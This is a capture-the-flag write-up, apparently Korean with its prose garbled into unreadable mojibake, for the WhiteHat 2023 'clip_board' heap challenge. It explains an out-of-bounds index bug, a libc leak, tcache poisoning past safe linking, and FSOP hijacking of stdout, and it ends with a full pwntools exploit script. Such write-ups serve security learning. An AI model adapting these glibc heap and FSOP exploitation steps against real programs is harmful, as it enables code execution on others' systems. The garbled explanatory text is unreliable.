WhiteHat Contest 2023 Quals - clip_board
λͺ©μ°¨
WhiteHat Contest 2023 Quals pwnable challenge μλ₯Ό λ€μ΄ μ΄ λ λ€λ§ μνλ λμμ νκΈ° μν΄μ λ°λΌμ Full RELROκ° μ μ©λμ΄μκΈ° λλ¬Έμ GOTμμμ λ¬Έμ μμλ μ΄β¦ μ λκ² μ€λͺ
νλλ° μ¬μ€ κ°μ₯ ν° λ¬Έμ κ° νλ μλ€. OOB μ·¨μ½μ μ μ΄μ©νμ¬ κ·Έλ°λ° μ¬μ€ λ°λΌμ libc μμμ μλ μμ μλ‘μ΄ λ¬Έμ λ₯Ό 보λ κΈ°λΆμΌλ‘ μ½λλ₯Ό 보λ€λ³΄λ©΄ λ°λΌμ μμ κ°μ΄ payloadλ₯Ό μμ±νκ³ μ½λλ₯Ό μ€ννκ³ tcacheμμ μ¬μ΄μ¦ μ΄λ κ² κ·Έλ°λ° μ΄ λ 곡λΆνκΉμ κ°λ΅νκ² μ 리νμλ©΄ glibc 2.32λ²μ λΆν° μ λ©λͺ¨λ¦¬μμ λ¬Έμ λ μ¬κΈ°μμ μλ¬΄νΌ μ€μ xor μ°μ°μ΄ λλ μ΄λ κ² payloadλ₯Ό μ€ννλ©΄ λͺ©μ νλ 0x00. Introduction
[*] '/home/user/clip_board'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Concept
int __fastcall main(int argc, const char **argv, const char **envp)
{
...
v3 = malloc(0x20uLL);
printf("heap leak: %p\n\n", v3);
do
{
Menu();
choice = get_int();
switch ( choice )
{
case 1:
AddClipboard();
break;
case 2:
DelClipboard();
break;
case 3:
ViewClipboard();
break;
case 4:
exit = 1;
break;
}
}
while ( !exit );
return 0;
}AddClipboard(), DelClipboard(), ViewClipboard() μΈ κ°μ§ κΈ°λ₯μ΄ heapμ κΈ°λ°μΌλ‘ ꡬνλμ΄μλ€. μΉμ νκ²λ heap μ£Όμλ₯Ό νλ μΆλ ₯ν΄μ£Όμ΄ heap leakμ λ°λ‘ ν΄μ£Όμ§ μμλ λλ€. Global Variables
char *chunk_list[10];
char check_chunk_list[10]; // size = 16
int chunk_size_list[10];AddClipboard() μ€ν μ indexμ iλ₯Ό μ
λ ₯νλ©΄ μ ꡬ쑰체λ€μ λ€μκ³Ό κ°μ κ°μ΄ μ€μ λλ€.chunk_list[i] : malloc(size)check_chunk_list[i] : 1chunk_size_list[i] : sizecheck_chunk_listλ alignment λλ¬ΈμΈμ§ 16λ°μ΄νΈλ§νΌ ν λΉλμ΄μλ€. 0x01. Vulnerability
int ViewClipboard()
{
...
printf("index > ");
index = get_int();
if ( index <= 9 )
{
check = check_chunk_list_4090[index];
if ( check )
{
ptr = chunk_list_4040[index];
size = chunk_size_list_40A0[index];
if ( ptr )
{
if ( size <= 0x100 )
return write(1, ptr, size);
}
}
}
return size;
}AddClipboard(), DelClipboard(), ViewClipboard()μμ 곡ν΅μ μΌλ‘ index κ°μ΄ μμμΌ λλ₯Ό κ²μ¦νμ§ μμ OOB μ·¨μ½μ μ΄ μλ€.checkκ° 0μ΄ μλ κ°μ κ°μ ΈμΌνλ―λ‘, check_chunk_list μ μμμ κ°μ μ νμΈν΄μΌ νλ€. 0x02. Exploit
Libc Leak
gefβ€ x/20gx 0x555555558000
0x555555558000: 0x0000000000000000 0x0000555555558008
0x555555558010: 0x0000000000000000 0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>: 0x00007ffff7fa5780 0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>: 0x00007ffff7fa4aa0 0x0000000000000000
0x555555558040 <chunk_list>: 0x0000000000000000 0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000 0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000 0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000 0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000 0x0000000000000000
0x555555558090 <check_chunk_list>: 0x0000000000000000 0x0000000000000000indexλ₯Ό μμλ‘ μ
λ ₯ν΄ μ·¨μ½μ μ νμ©νκΈ° μν΄μ chunk_list μ μμμ μ΄ν΄λ³΄λ©΄, stdoutκ³Ό stdinμ΄ μλ€.0x555555558008 μμμ __dso_handleλΌλ λ³μλͺ
μΌλ‘ bss μμμ μ£Όμκ° μ°μ¬μμ΄ νμΈν΄λ³΄λ fini_arrayμ __do_global_dtors_auxμμ νλ² μ°Έμ‘°νλ κ²μ μ μΈνκ³ λ μ°Έμ‘°λμ§ μλλ€. μ΄ λ¬Έμ μμλ λ±ν μλ―Έκ° μμ§λ§ κΈ°μ΅ν΄λλ€κ° λμ€μ μ¨λ¨ΉμΌλ©΄ μ’μ κ² κ°λ€.stdinμ chunk_list[-2], stdoutμ chunk_list[-4]λ‘ μ κ·Όμ΄ κ°λ₯νλ°, ViewClipboardλ‘ κ°μ μ½μ΄μ€κΈ° μν΄μλ check_chunk_list[-2]λ check_chunk_list[-4]μ 0μ΄ μλ κ°μ΄ μ μ₯λμ΄ μμ΄μΌ νλ€. κ·Έλ λ€λ©΄ 0x55555555808e νΉμ 0x55555555808cμ κ°μ μ μ₯ν΄μΌ νλ€λ μλ¦°λ°, indexλ₯Ό 9λ‘ μ
λ ₯ν΄μ 0x555555558088μ malloc()μ΄ λ°νν κ°μ μ μ₯νλ€κ³ ν΄λ μ£Όμ κ°μ΄λΌ μ λΆλΆμ μ°μ΄μ§ μμν
λ 0x55555555808eμλ 0μ΄ λ€μ΄κ°λ€.stdoutλ§ viewκ° κ°λ₯νκ³ , λ€μκ³Ό κ°μ payloadλ‘ libc μ£Όμλ₯Ό μ»μλ€. # leak libc
add_clipboard(s, 1, 0x10, b"A" * 0x10)
add_clipboard(s, 9, 0x10, b"B" * 0x10)
r = view_clipboard(s, -4)
libc = u64(r[8:16]) - 0x21b803
stdout_fp = r[0:0xe0]
log.info(f"libc : {hex(libc)}")
# clean clipboards
del_clipboard(s, 1)
del_clipboard(s, 9) FSOP
gefβ€ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_boardwriteκ° λΆκ°λ₯νκ³ 0x555555558000μ chunk_listμ μ¬μ΄μλ stdout, stdinλ°μ μλ€.stdout, stdinμ λ°κΏμ RIP controlμ ν΄μΌνλ μλ£λ₯Ό μ°Ύμ보λ€κ° FSOP κΈ°λ²μ λ°κ²¬νλ€. FSOP κΈ°λ²μ μ΄ κΈμ μ 리ν λ΄μ©μ μ¬μ©νλ€.AddClipboard() κΈ°λ₯μ μ΄μ©νμ¬ λ©λͺ¨λ¦¬λ₯Ό λ§μλλ‘ ν λΉλ°μ μ μκ³ , μ²μμ heap μ£Όμλ₯Ό μ£ΌμμΌλ offsetμ κ³μ°νμ¬ λ€μκ³Ό κ°μ΄ payloadλ₯Ό μμ±νλ€. # allocate wide_vtable
one_gadget = libc + 0xebc85
payload = p64(0) * 2 # dummy
payload += p64(one_gadget) * 19
add_clipboard(s, 6, len(payload), payload)
wide_vtable = heap + 0x4a0
# allocate anywhere can read / write
add_clipboard(s, 7, 0x100, b"\x00" * 8)
anywhere_rw = heap + 0x550
# allocate wide_data
payload = bytearray(0x100)
payload[0x18:0x20] = p64(0)
payload[0x20:0x28] = p64(anywhere_rw)
payload[0x30:0x38] = p64(0)
payload[0xe0:0xe8] = p64(wide_vtable)
add_clipboard(s, 8, len(payload), payload)
wide_data = heap + 0x660
# allocate new_fp and overwrite stdout
io_wfile_jumps = libc + 0x2170c0
payload = bytearray(stdout_fp)
payload[0:8] = p64(0) # stdout -> flags
payload[0xa0:0xa8] = p64(wide_data) # stdout -> _wide_data
payload[0xc0:0xc8] = p64(1) # stdout -> mode
payload[0xd8:0xe0] = p64(io_wfile_jumps) # stdout -> vtable
add_clipboard(s, -4, 0x100, payload, fin=1)chunk_list[-4]μ μμΉν stdoutμ overwriteνλ©΄ λ©λͺ¨λ¦¬λ λ€μ μ΄λ―Έμ§μ κ°λ€.
_IO_flush_all_lockpλ _IO_list_allμ μννλ©° file streamμ overflowκ° λ°μνλμ§ νμΈνκΈ° λλ¬Έμ, 곡격μκ° ν λΉν wide_vtableμ one_gadget ν¨μκ° νΈμΆλκΈ° μν΄μλ λ©λͺ¨λ¦¬κ° λ€μ μ΄λ―Έμ§μ κ°μμ ΈμΌ νλ€.
_IO_list_all ν¬μΈν°λ₯Ό overwrite ν΄μΌνλ€β¦stdoutμ μ μ₯λ κ°μ μ§μ μ κ·Όνλ λ€λ₯Έ FSOP μλ리μ€λ₯Ό μ°Ύμλ€λ©΄ μ΄λ° μ§μ νμ§ μμμ΄λ λλλ° μμ¬μΈ λ°λ¦μ΄λ€β¦ Tcache Unlink
DelClipboard()μμ λ€μ λμμ μννλ κ²μ νμΈν μ μλ€.int DelClipboard()
{
...
ptr = chunk_list_4040[index];
if ( ptr )
{
free(ptr);
chunk_list_4040[index] = 0LL;
check_chunk_list_4090[index] = 0;
size = chunk_size_list_40A0;
chunk_size_list_40A0[index] = 0;
}
...
}AddClipboard()μμ 1λ‘ μ€μ λ check_chunk_list[index]μ κ°μ 0μΌλ‘ λλ €μ€λ€.check_chunk_list μμλ malloc()μΌλ‘ ν λΉλ°μ heap μμμ μ£Όμλ€μ΄ μ°μ¬μλ€. λ§μ½ malloc(), free()λ₯Ό νλ μμκ° κ°μΌλ©΄ offsetλ λμΌν κ²μ΄λ―λ‘, ν λΉλ°μ μ£Όμλ₯Ό leakνμ§ μλλΌλ μμΈ‘ν μ μλ€.mallocμ΄ 0xXXXXXXXXXX10 μ£Όμλ₯Ό λ°ννκ²λ heapμ μ λ ¬μμΌλκ³ , 0xXXXXXXXXXX00 μ£Όμμ fake chunk headerλ₯Ό λ§λ€μ΄μ€ λ€μ, μ£Όμμ λ§μ§λ§ λ°μ΄νΈμΈ 0x10μ 0x00μΌλ‘ λ§λ€μ΄μ£Όλ©΄ fake chunkλ₯Ό free()μν¬ μ μλ€. # align last byte
add_clipboard(s, -8, 0xc0, b"C" * 0x20)
# make fake chunk header
payload = b"D" * 0x10
payload += p64(0)
payload += p64(0x101)
add_clipboard(s, 0, 0x20, payload)
# allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
add_clipboard(s, 9, 0x20, b"E" * 0x30)
add_clipboard(s, 1, 0x20, b"F" * 0x20)
add_clipboard(s, 2, 0x20, b"G" * 0x20)
# overwrite 410 -> 400 and free fake chunk (size 0x100)
del_clipboard(s, -8)
del_clipboard(s, 9)
# free XXXXXXXXX440, XXXXXXXXX470
del_clipboard(s, 2)
del_clipboard(s, 1)0x30, 0x100 binμ νμΈν΄λ³΄λ©΄ λ€μκ³Ό κ°λ€.βββββββββββββββββββββββββββββββββββ Tcachebins for thread 1 βββββββββββββββββββββββββββββββββββ
Tcachebins[idx=1, size=0x30, count=2] β Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
β Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] β Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)0x555555559400 μμμ΄ 0x555555559440, 0x555555559470 μμκ³Ό κ²ΉμΉκ² λκΈ° λλ¬Έμ 0xf0μ§λ¦¬ chunkλ₯Ό μμ²νλ©΄ 0x555555559440μ fdλ₯Ό overwriteν μ μλ€. Safe Linking Bypass
0x555555559440κ³Ό 0x555555559470μ fdλ₯Ό νμΈν΄λ³΄λ©΄ λ¨μν λ€μ chunkμ μ£Όμλ₯Ό μ μ₯νμ§ μλλ°, μ΄λ tcacheμ safe linking λλ¬Έμ΄λ€.gefβ€ x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000 0x0000000000000031
0x555555559440: 0x000055500000c129 0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646 0x4646464646464646
gefβ€ x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000 0x0000000000000031
0x555555559470: 0x0000000555555559 0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747 0x4747474747474747freeλ chunkλ λ€μκ³Ό κ°μ ꡬ쑰λ₯Ό κ°μ§κ² λλ€.struct tcache_entry {
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
};0x62cde40f9bbc5877λ‘ μΆλ ₯λ κ²μ΄ keyμΈλ°, λ€μκ³Ό κ°μ λ‘μ§μ ν΅ν΄ double freeλ₯Ό λ°©μ§νλ€.free(ptr)μ νμ λ,ptr->keyμ μ λλ‘ λ keyκ°μ΄ μλμ§ κ²μ¦ abortkey κ°μ΄ μλ€λ©΄, ptrμ sizeμ λ§λ tcache binμ μν ptrμ΄ binμ μλ€λ©΄ abortnextμΈλ°, glibc λ²μ μ λ°λΌ λ€λ₯΄κ² μ§λ§ 2.35μ κ²½μ° ν¬μΈν° λ§μ€νΉ λλ ν¬μΈν° μνΈν κΈ°λ²μ΄ μ μ©λμ΄μ λ€μ μ°μ°μ νκ³ μ μ₯νλ€.// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);
// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);tcache κ°μ tcache_perthread_structμ μ£ΌμλΌκ³ νλλ°β¦ μ€μ λ©λͺ¨λ¦¬μ λ€λ₯Έ κ² κ°μμ 2.35 glibc μμ€μ½λλ₯Ό elixirμμ μ°Ύμ보μλλ° λκ° μλ§λ κ² κ°μ νμΈμ΄ νμνλ€.tcache κ°μ heap base μ£Όμλ₯Ό 12bit right shiftν 0x555555559μΌλ‘, nextκ° nullμ΄μ΄μΌ νλ 0x555555559470 chunkλ₯Ό 보면 μ μ μλ€. λ°λΌμ _IO_list_allμ μ£ΌμμΈ 0x7ffff7fa5680μ 0x555555559λ₯Ό xorν κ²°κ³Όλ₯Ό 0x555555559440 chunkμ next μμΉμ μ°λ©΄ λ€μκ³Ό κ°μ΄ tcache binμ΄ κ΅¬μ±λλ€.βββββββββββββββββββββββββββββββββββ Tcachebins for thread 1 βββββββββββββββββββββββββββββββββββ
Tcachebins[idx=1, size=0x30, count=2] β Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
β Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) β [Corrupted chunk at 0x7ffff7fa5680]_IO_list_allμ μ£Όμ 0x7ffff7fa5680 8λ°μ΄νΈ μμ μμΉν 0μ΄ sizeλ‘ μΈμλμ΄ corrupted chunkλ‘ μΆλ ₯λμ§λ§ λ€νν malloc() μ size κ²μ¦μ νμ§ μμ 0x7ffff7fa5680λ₯Ό λ°νλ°λλ°μ μ±κ³΅νλ€. # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
# now XXXXXXXXX440 -> IO_list_all
io_list_all = libc + 0x21b680
payload = b"H" * 0x38
payload += p64(0x31)
payload += p64(io_list_all ^ (heap >> 12))
add_clipboard(s, 3, 0xf0, payload)
# allocating 5 returns address of IO_list_all
add_clipboard(s, 4, 0x20, b"I" * 0x20)
add_clipboard(s, 5, 0x20, p64(heap + 0x770))_IO_list_allμ μμ±ν new_fdμ μ£Όμκ° λ΄κΈ°κ² λλ€.gefβ€ x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>: 0x0000555555559770 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
'main' : code_base + 0x16FD
}
gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def add_clipboard(s, index, size, contents, fin=0):
s.sendline(b"1")
s.recvuntil(b"> ")
s.sendline(str(index).encode())
s.recvuntil(b"> ")
s.sendline(str(size).encode())
s.recvuntil(b"> ")
s.send(contents)
if fin:
return
else:
return s.recvuntil(b"\n> ")
def del_clipboard(s, index):
s.sendline(b"2")
s.recvuntil(b"> ")
s.sendline(str(index).encode())
return s.recvuntil(b"\n> ")
def view_clipboard(s, index):
s.sendline(b"3")
s.recvuntil(b"> ")
s.sendline(str(index).encode())
return s.recvuntil(b"\n> ")
def exit_clipboard(s):
s.sendline(b"4")
return
def main(port, debug):
if(port):
s = remote("0.0.0.0", port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
log.info(f"heap : {hex(heap)}")
# leak libc
add_clipboard(s, 1, 0x10, b"A" * 0x10)
add_clipboard(s, 9, 0x10, b"B" * 0x10)
r = view_clipboard(s, -4)
libc = u64(r[8:16]) - 0x21b803
stdout_fp = r[0:0xe0]
log.info(f"libc : {hex(libc)}")
# clean clipboards
del_clipboard(s, 1)
del_clipboard(s, 9)
# align last byte
add_clipboard(s, -8, 0xc0, b"C" * 0x20)
# make fake chunk header
payload = b"D" * 0x10
payload += p64(0)
payload += p64(0x101)
add_clipboard(s, 0, 0x20, payload)
# allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
add_clipboard(s, 9, 0x20, b"E" * 0x30)
add_clipboard(s, 1, 0x20, b"F" * 0x20)
add_clipboard(s, 2, 0x20, b"G" * 0x20)
# overwrite 410 -> 400 and free fake chunk (size 0x100)
del_clipboard(s, -8)
del_clipboard(s, 9)
# free XXXXXXXXX440, XXXXXXXXX470
del_clipboard(s, 2)
del_clipboard(s, 1)
# reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
# now XXXXXXXXX440 -> IO_list_all
io_list_all = libc + 0x21b680
payload = b"H" * 0x38
payload += p64(0x31)
payload += p64(io_list_all ^ (heap >> 12))
add_clipboard(s, 3, 0xf0, payload)
# allocating 5 returns address of IO_list_all
add_clipboard(s, 4, 0x20, b"I" * 0x20)
add_clipboard(s, 5, 0x20, p64(heap + 0x770))
# allocate wide_vtable
one_gadget = libc + 0xebc85
payload = p64(0) * 2 # dummy
payload += p64(one_gadget) * 19
add_clipboard(s, 6, len(payload), payload)
wide_vtable = heap + 0x4a0
# allocate anywhere can read / write
add_clipboard(s, 7, 0x100, b"\x00" * 8)
anywhere_rw = heap + 0x550
# allocate wide_data
payload = bytearray(0x100)
payload[0x18:0x20] = p64(0)
payload[0x20:0x28] = p64(anywhere_rw)
payload[0x30:0x38] = p64(0)
payload[0xe0:0xe8] = p64(wide_vtable)
add_clipboard(s, 8, len(payload), payload)
wide_data = heap + 0x660
# allocate new_fp and overwrite stdout
io_wfile_jumps = libc + 0x2170c0
payload = bytearray(stdout_fp)
payload[0:8] = p64(0) # stdout -> flags
payload[0xa0:0xa8] = p64(wide_data) # stdout -> _wide_data
payload[0xc0:0xc8] = p64(1) # stdout -> mode
payload[0xd8:0xe0] = p64(io_wfile_jumps) # stdout -> vtable
add_clipboard(s, -4, 0x100, payload, fin=1)
log.info(f"&stdout : 0x555555558020")
log.info(f"IO_list_all : {hex(io_list_all)}")
log.info(f"IO_list_all -> 0x7ffff7fab6a0")
log.info(f"original_stdout : 0x7ffff7fab780")
log.info(f"wide_data : {hex(wide_data)}")
log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
log.info(f"anywhere_rw : {hex(anywhere_rw)}")
log.info(f"wide_vtable : {hex(wide_vtable)}")
log.info(f"one_gadget : {hex(one_gadget)}")
# trigger _IO_flush_all_lockp
exit_clipboard(s)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.port, args.debug)